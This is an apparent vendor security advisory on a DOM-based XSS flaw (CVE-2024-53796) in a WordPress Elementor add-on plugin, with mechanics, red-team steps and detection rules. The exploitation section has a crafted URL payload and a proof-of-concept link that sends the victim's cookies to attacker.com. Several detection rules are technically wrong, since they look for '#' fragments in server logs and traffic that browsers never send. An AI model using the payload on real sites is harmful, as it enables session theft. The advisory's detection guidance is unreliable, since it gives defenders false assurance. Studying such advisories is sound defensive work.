CVE-2024-53796

Executive Summary

CVE-2024-53796 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons For Elementor WordPress plugin, affecting versions up to and including 2.2.2. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the WordPress site. This is a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS score is 6.5 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or nuclei template is available at this time. The vendor has not released a patch, making this a zero-day risk for all sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a third-party add-on for Elementor, the supply chain risk is elevated. Users must manually monitor for updates or remove the plugin. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of Elementor plugins elevate the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS flaw in the themesflat-addons-for-elementor plugin. DOM-Based XSS occurs when client-side JavaScript processes user input (e.g., from URL fragments, document.referrer, or localStorage) and writes it to the DOM without proper sanitization. In this plugin, the vulnerable JavaScript code likely reads a parameter from the URL hash or query string and injects it into the page's HTML, allowing an attacker to execute arbitrary scripts.

Attack Flow:

1. Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g., #<script>alert(1)</script>).
2. Victim clicks the link or is redirected to the crafted URL.
3. The plugin's JavaScript reads the payload from the URL and writes it to the DOM (e.g., via innerHTML or document.write).
4. The browser executes the injected script in the context of the WordPress site, enabling cookie theft, session hijacking, or defacement.

Root Cause: The plugin fails to sanitize or encode user input before inserting it into the DOM. The vulnerable code likely uses location.hash or location.search without proper escaping.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common DOM-XSS patterns.

Vulnerable Code (JavaScript):

// Vulnerable: reads hash and injects directly
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

Patched Code (Hypothetical):

// Patched: sanitizes input using textContent or DOMPurify
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('output').textContent = sanitized;

Key Difference: The patched version uses textContent (which treats input as text, not HTML) or a sanitization library like DOMPurify to neutralize malicious scripts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with themesflat-addons-for-elementor <= 2.2.2 active.
• Victim must be logged in to the WordPress admin (for higher impact) or simply browsing the site.

Exploit Steps:

1. Identify a page that uses the vulnerable plugin's widget (e.g., a testimonial or slider).
2. Craft a malicious URL:

   https://target-site.com/page/#<img src=x onerror=alert(document.cookie)>
   

3. Send the link to the victim via phishing email or social engineering.
4. When the victim clicks the link, the script executes, stealing cookies or performing actions on their behalf.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<a href="https://target-site.com/page/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing <script, onerror, or onload in the URL fragment.
• Use browser-based CSP (Content Security Policy) headers to block inline scripts.

Hardening:

• Remove or disable the plugin immediately.
• Implement a Web Application Firewall (WAF) rule to block malicious URL fragments.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing #<script, #<img, or #<svg in the fragment.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• Host IOCs:
  • Presence of the plugin directory: /wp-content/plugins/themesflat-addons-for-elementor/
  • Modified JavaScript files in the plugin directory (if attacker uploaded a backdoor).
• Log IOCs:
  • HTTP requests with non-standard URL fragments (e.g., GET /page/#<script>).

Detection Engineering

YARA Rule

rule detect_themesflat_dom_xss {
    meta:
        description = "Detects DOM-based XSS in themesflat-addons-for-elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53796"
    strings:
        $vuln_func1 = "location.hash" ascii wide nocase
        $vuln_func2 = "innerHTML" ascii wide nocase
        $vuln_func3 = "document.write" ascii wide nocase
        $plugin_path = "themesflat-addons-for-elementor" ascii wide nocase
    condition:
        $plugin_path and any of ($vuln_func*)
}

Sigma Rule

title: DOM-Based XSS in themesflat-addons-for-elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-based XSS exploitation attempts against CVE-2024-53796
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments in single-page applications
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-53796 - DOM-Based XSS in themesflat-addons-for-elementor";
    flow:to_server,established;
    content:"#<script"; http_uri;
    content:"#<img"; http_uri;
    content:"#<svg"; http_uri;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete themesflat-addons-for-elementor from the WordPress admin panel.
2. Apply virtual patching – Use a WAF to block requests containing <script, <img, or <svg in URL fragments.
3. Monitor logs – Check for exploitation attempts using the Sigma rule above.

Long-Term Fix:

• The vendor must release a patched version that sanitizes DOM input. Until then, consider replacing the plugin with an alternative.
• Implement a Content Security Policy (CSP) that disallows inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

Workaround:

• If the plugin is critical, manually edit the JavaScript file to replace innerHTML with textContent and sanitize location.hash using encodeURIComponent().

Valters IT
Securing Digital Frontiers